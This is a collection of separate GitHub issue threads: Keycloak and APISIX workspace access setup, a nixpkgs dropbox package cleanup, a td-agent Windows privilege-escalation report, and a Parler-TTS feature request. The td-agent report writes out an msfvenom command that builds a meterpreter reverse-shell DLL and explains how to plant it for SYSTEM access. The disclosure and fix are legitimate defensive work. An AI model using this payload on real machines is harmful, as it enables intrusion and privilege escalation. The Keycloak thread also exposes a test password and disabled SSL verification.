completely different topic: the WorkspaceUI uses WebSockets and they don't seem to work, can you enable that on the ingress controller (or does that need something on the route?), thanks

According to WebSocket support, I assume that this is the intended solution:
It is basically just setting websocket: true on the subroute level. I adjusted the ws-test4 route accordingly, but I am not able to test it, because I do not know where exactly websockets are used.

websockets are working now, thanks for fast mitigation!

As you may already have noticed, I modified the route and added authentification and authorization through Keycloak.
I left /share/* open, i.e. there is no authN/authZ for this subtree. Nonetheless it does not fully work yet, probably because further paths (e.g. /static/*) need to be left unprotected. You can give me the list of paths to be left unprotected or simply add them yourself.
On Keycloak side, I added the following:

A client called "ws-test4", with root URL https://ws-test4.apx.develop.eoepca.org and authN and authZ enabled. This client is referenced by the route and the client secret can be found there (but should probably be stored as a secret later)
A client role called "ws_access" that represents the right to access the workspace UI associated with client "ws-test"
A group called "ws-test4" with the role "ws_access" on client "ws-test4" assigned
A user called "ws-test4-user" (with password "ws-test4") who is a member of group "ws-test4"
A client policy called "Role ws_access Policy" that checks if the user has role "ws_access" on client "ws-test4". The policy is configured as a standard Keycloak policy of type "Role". It could also be implemented in a more generic way in OPA, but then it would still be necessary to configure a Keycloak policy of type "OPA" that references the actual OPA policy. So using the standard Keycloak policy type turned out to be a bit simpler for now.
In the default permission of client "ws-test4", I replaced the Default Policy with the "Role ws_access Policy".

Altogether, this gives (only) user "ws-test4-user" (and other potential members of group "ws-test4") access to the "ws-test4" workspace. It would be possible to simplify this a bit by omitting the role and letting the policy check the group directly instead, but this would cause too much coupling between user and permission management IMO.

via https://iam-auth.develop.eoepca.org/admin/eoepca/console/ I added my own user to group ws-test4 and afterwards I could access https://ws-test4.apx.develop.eoepca.org/, cool thanks - good work, also like/agree on your permissions approach!

can you please give my user more permissions so I can also inspect clients, roles and similar via https://iam-auth.develop.eoepca.org/admin/eoepca/console/

so client role "ws_access" is created once (must be part of operator setup) and during workspace provisioning for team X with user A we can assume that the user A exists but we have to create

[ ] group X
[ ] user A <-> group X association
[ ] client X
[ ] client-policy (checking if role ws_access on client X exists for user)
[ ] default permission must be changed on client X to ws_access
via our IaC tooling (need to explore now if this is all already possible)

can you add all the necessary permissions to client workspace_pipeline so we can finally automate
I put the current state of ws-test4 apisix route here as reference, we will build on top of that
apiVersion: apisix.apache.org/v2
kind: ApisixRoute
metadata:
  name: ws-test4
  namespace: ws-test4
spec:
  http:
  - backends:
    - serviceName: ws-test4
      servicePort: 8080
    match:
      hosts:
      - ws-test4.apx.develop.eoepca.org
      paths:
      - /share/*
    name: ws-test4-open
  - backends:
    - serviceName: ws-test4
      servicePort: 8080
    match:
      hosts:
      - ws-test4.apx.develop.eoepca.org
      paths:
      - /*
    name: ws-test4
    plugins:
    - config:
        access_token_in_authorization_header: true
        client_id: ws-test4
        client_secret: Qmp5p...
        discovery: https://iam-auth.apx.develop.eoepca.org/realms/eoepca/.well-known/openid-configuration
      enable: true
      name: openid-connect
    - config:
        client_id: ws-test4
        client_secret: Qmp5p...
        discovery: https://iam-auth.apx.develop.eoepca.org/realms/eoepca/.well-known/uma2-configuration
        lazy_load_paths: true
        ssl_verify: false
      enable: true
      name: authz-keycloak
    websocket: true

I added the "view-clients" and "query-clients" roles to your user, which should at least allow you to inspect the client. If anything is still missing, I can add further roles tomorrow. Also tomorrow I am going to amend the "workspace_pipeline" client.
Regarding the client role "ws_access" my understanding is that it is local to the client and thus needs to be recreated for each client (explicitly unless we can leverage some templating mechanism for this).

thanks for clarification
you need to help me - where do I find the client policies in this keycloak console UI tool?

There is an Authorization tab with several subtabs in the client details view. However, you probably could not see it, because I had forgotten to give you the "view-authorization" role. I hope that you can see it now.

yes, thanks!

I assigned the following roles to the workspace_pipeline client:

create-client
manage-clients (probably needed to configure the client after creation)
manage-authorization (needed to configure authorization on client)
manage-users (probably needed for creating groups as there is no separate create-group or manage-groups role)

I omitted the view-* and query-* roles for now, assuming that they are either not required for API access or implied in the manage-* roles. I can add some of them later if they turn out to be required.

while we have managed to automate the provisioning of Client, Role and ClientRolePolicy (see e.g. client ws-test5 - this should be mostly complete right?) we are still struggling to set the Default Permission to the Role ws_access Policy
we will investigate deeper tomorrow (need to dive into actual IaC code), but can you please explain the keycloak logic here and also check if there perhaps is another way without requiring replacing Default Policy with Role ws_access Policy? thanks

Could you explain what exactly the issue is, so that I know what to look for? Is it a missing (or maybe well-hidden) API, or just weird behaviour of an API that should do the right thing, or anything else?
I remember that a colleague also had problems in conjunction with manipulating permissions via the API, but unfortunately he is not available today.
Alternative approaches I could imagine are to just add the new policy to the default permission (and also keep the default policy), to delete the default permission and create a new one or to delete the complete default resource and create a replacement for it. The idea behind manipulating the default permission was just to minimize effort.
The User Management demo notebook (https://github.com/EOEPCA/demo/blob/main/demoroot/notebooks/01 User Management Keycloak.ipynb) includes code that creates resources, policies and permissions and associates them and maybe could serve as an example. The result is the Keycloak client called "demo". However, it does not manipulate or delete the default resource and default permission, but leaves them as they are, which is not an option for the workspace UI, because we need to change the protection of the whole server.

we are still struggling with the keycloak-provider of our (declarative) IaC tool to get that permission set properly, so we are still investigating a good way to achieve or workaround so we can automate the whole flow in workspace pipeline
thanks for your ideas and the notebook link, we will further explore - have a good weekend

we have the policy "Role ws_access Policy" in client "ws-test5"
https://iam-auth.develop.eoepca.org/admin/eoepca/console/#/eoepca/clients/38d2be6b-3e8e-4184-aa23-4436cb37dc9d/authorization/policy/f39dc340-e680-4272-bd47-445031cd4430/role

role id: '66d0ea00-e856-46a2-abfb-3276877dec00'
resource server id : '38d2be6b-3e8e-4184-aa23-4436cb37dc9d'

what would be the necessary API call now to get this policy added to the Authorizaton | Permissions for this client, can you help with that or shall we have a short call, e.g. 10am?

I am not really familiar with Keycloak's authZ API, but I am trying to find out.
What I can say by now is:
The demo notebook creates a new permission with policies assigned this way:

It calls assign_resources_permissions  on the KeycloakClient from the old Identity Service (https://github.com/EOEPCA/um-identity-service/blob/develop/identityutils/keycloak_client.py)
This in turn calls create_client_authz_resource_based_permission from the KeycloakAdmin client from the python-keycloak library (https://github.com/marcospereirampj/python-keycloak/blob/master/src/keycloak/keycloak_admin.py)
Eventually this results in a POST on admin/realms/{realm-name}/clients/{client_id}/authz/resource-server/permission/resource?max=-1
Example input from the demo notebook:

    {
        "name": "Premium permission",
        "type": "resource",
        "logic": "POSITIVE",
        "decisionStrategy": "UNANIMOUS",
        "resources": [
            "Premium resource"
        ],
        "policies": [
            "Only Premium User Policy"
        ]
    }

This is not exactly what you want to do, but it could be an alternative. I assume that there is a way to add policies to existing permissions, because the Keycloak UI allows doing that, but I do not know how.

Maybe update_client_authz_resource_permission from the KeycloakAdmin client could be what we are looking for, though it looks a bit weird to me. It performs a PUT on admin/realms/{realm-name}/clients/{client_id}/authz/resource-server/permission/resource/{resource-id}.

Another way to manipulate permissions may be the UMA-compliant Protection API provided by Keycloak: https://www.keycloak.org/docs/latest/authorization_services/index.html#_service_protection_api
However, its abstraction level seems to be a bit different in that it does not handle policies and permissions separately. So it is probably easier to keep using the Keycloak-specific API.

Note: This issue encompassed general and foundational work to align IAM integration relevant to various building blocks (DataAccess (#2301), DataCube (#3301), and ResourceDiscovery (#1304)). While it was originally not planned for this quarter , it was added after discussions with Richard. The associated spent hours (24h here, 6h in https://github.com/EOEPCA/workspace/issues/37) were evenly allocated across the mentioned building blocks and are not reported here!


python3Packages.dropbox: Clean up package and enable more tests

Description of changes
Followup to #170261 .
Clean up dependencies, enable the unittests at least.
~Open issue (tips welcome):~
$ ls result/lib/python3.9/site-packages/
dropbox  dropbox-0.0.0.dist-info

~Any idea why this would get a 0.0.0 version? This (probably) causes maestral to fail to find a matching version.~
@peterhoeg
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
22.05 Release Notes (or backporting 21.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[ ] Fits CONTRIBUTING.md.

Found the issue I think; see 2nd commit.

Diff LGTM, some testing would be nice though.

Result of nixpkgs-review pr 170289 run on x86_64-linux 1

6 packages built:

git-annex-remote-dbx
maestral (python39Packages.maestral)
maestral-gui
python310Packages.dropbox
python310Packages.maestral
python39Packages.dropbox

Result of nixpkgs-review pr 170289 run on x86_64-linux 1

6 packages built:

git-annex-remote-dbx
maestral (python39Packages.maestral)
maestral-gui
python310Packages.dropbox
python310Packages.maestral
python39Packages.dropbox


Possible Vulnerability

POC.docx
Describe the bug
Inappropriate folder permissions, possible escalation of privileges' on Windows
To Reproduce
Download URL:
http://packages.treasuredata.com.s3.amazonaws.com/4/windows/td-agent-4.0.1-x64.msi
Vulnerable Path:
C:\opt\td-agent\bin
Steps in reproducing the exploit:
Creating a DLL containing a reverse shell with the specific name that ruby.exe will search:
msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=IPADRRESS LPORT=PORT > CRYPTBASE.dll
Setting up MSF console to listen for connection.
Copying the DLL file that we created to “C:\opt\td-agent\bin” using a limited account:
Normally, a limited user might not have the possibility of restarting the service.
A potential attacker can wait for the service to be restarted or he can restart the machine from command line; when the service restarts, it will trigger the DLL and get NT Authority.
Expected behavior
N/A
Your Environment
Windows10
If you hit the problem with older fluentd version, try latest version first.
Your Configuration
Default
Your Error Log
No errors.
Additional context
Please add an appropriate contact method to submit possible vulnerabilities and POC's.

Yes,
It seems that inappropriate permission is set.
PS C:\> icacls.exe .\opt\td-agent\bin\
.\opt\td-agent\bin\ BUILTIN\Administrators:(I)(OI)(CI)(F)
                    NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                    BUILTIN\Users:(I)(OI)(CI)(RX)
                    NT AUTHORITY\Authenticated Users:(I)(M)
                    NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

note: In constract to program files.
C:\> icacls.exe 'C:\Program Files\'
C:\Program Files\ NT SERVICE\TrustedInstaller:(F)
                  NT SERVICE\TrustedInstaller:(CI)(IO)(F)
                  NT AUTHORITY\SYSTEM:(M)
                  NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
                  BUILTIN\Administrators:(M)
                  BUILTIN\Administrators:(OI)(CI)(IO)(F)
                  BUILTIN\Users:(RX)
                  BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
                  CREATOR OWNER:(OI)(CI)(IO)(F)
                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
                  APPLICATION PACKAGE AUTHORITY\制限されたすべてのアプリケーション パッケージ:(RX)
                  APPLICATION PACKAGE AUTHORITY\制限されたすべてのアプリケーション パッケージ:(OI)(CI)(IO)(GR,GE)

We need to fix in wixtoolset source layer.
ref. https://github.com/fluent-plugins-nursery/td-agent-builder/blob/master/td-agent/msi/source.wxs

td-agent 4 fix is here:
https://github.com/fluent-plugins-nursery/td-agent-builder/pull/247

for the record,
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28169

I'll close this issue when td-agent 4.1.0 is released.
FYI: https://github.com/fluent-plugins-nursery/td-agent-builder/pull/248

I'll close this issue when td-agent 4.1.0 is released.
FYI: https://github.com/fluent-plugins-nursery/td-agent-builder/pull/248

https://td-agent-package-browser.herokuapp.com/4/windows
4.1.0 has been released.


Add support for parler-tts

It would be pretty cool to support Parler-TTS, an open source TTS with fairly good quality and voice customization.
If running the model local, the inference code is currently just python. Perhaps there could be a bridge and this would be a node.js only feature.
I don't know how much work it would be to make the model work with javascript+ONNX, but that would also be pretty cool, and likely useful to others to do better on device TTS.

I'd like to help with this project.
However, I only can work in python lang. If I develop the python API like class MyAI below:
from pathlib import Path
from myai import MyAI

model = "tts-1"

client = MyAI(api_key=model)

speech_file_path = Path(".") / "speech.mp3"

response = client.create(
    model=model
    voice="alloy",
    input="Today is a wonderful day to build something people love!",
)

with open(speech_file_path, "wb") as f:
    f.write(response.content)

This API can easily convert to node.js api using following codes:
// myai.js
import fetch from 'node-fetch';
import fs from 'fs';
import path from 'path';

class MyAI {
  constructor({ model }) {
    this.model = model;
  }

  async create({ model, voice, input }) {
    const response = await fetch('https://api.yourservice.com/v1/audio/speech', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Authorization': `Bearer YOUR_API_KEY`, // 如果需要认证
      },
      body: JSON.stringify({
        model,
        voice,
        input,
      }),
    });

    if (!response.ok) {
      throw new Error(`Error: ${response.statusText}`);
    }

    const arrayBuffer = await response.arrayBuffer();
    return Buffer.from(arrayBuffer);
  }
}

export default MyAI;

And then, the MyAI class can be used through APIs like openai ones:
// main.js
import fs from 'fs';
import path from 'path';
import MyAI from './myai.js';

const client = new MyAI({ model: 'tts-1' });

const speechFilePath = path.resolve('./speech.mp3');

async function main() {
  try {
    const buffer = await client.create({
      model: 'tts-1',
      voice: 'alloy',
      input: 'Today is a wonderful day to build something people love!',
    });

    await fs.promises.writeFile(speechFilePath, buffer);
    console.log(`Speech file saved at ${speechFilePath}`);
  } catch (error) {
    console.error('Error generating speech:', error);
  }
}

main();

I need to mention, the javascript code is actually written by GPT-4o, and I did not learnt javascript. If this process can work, I'd like to help developing the Python API.
Thanks.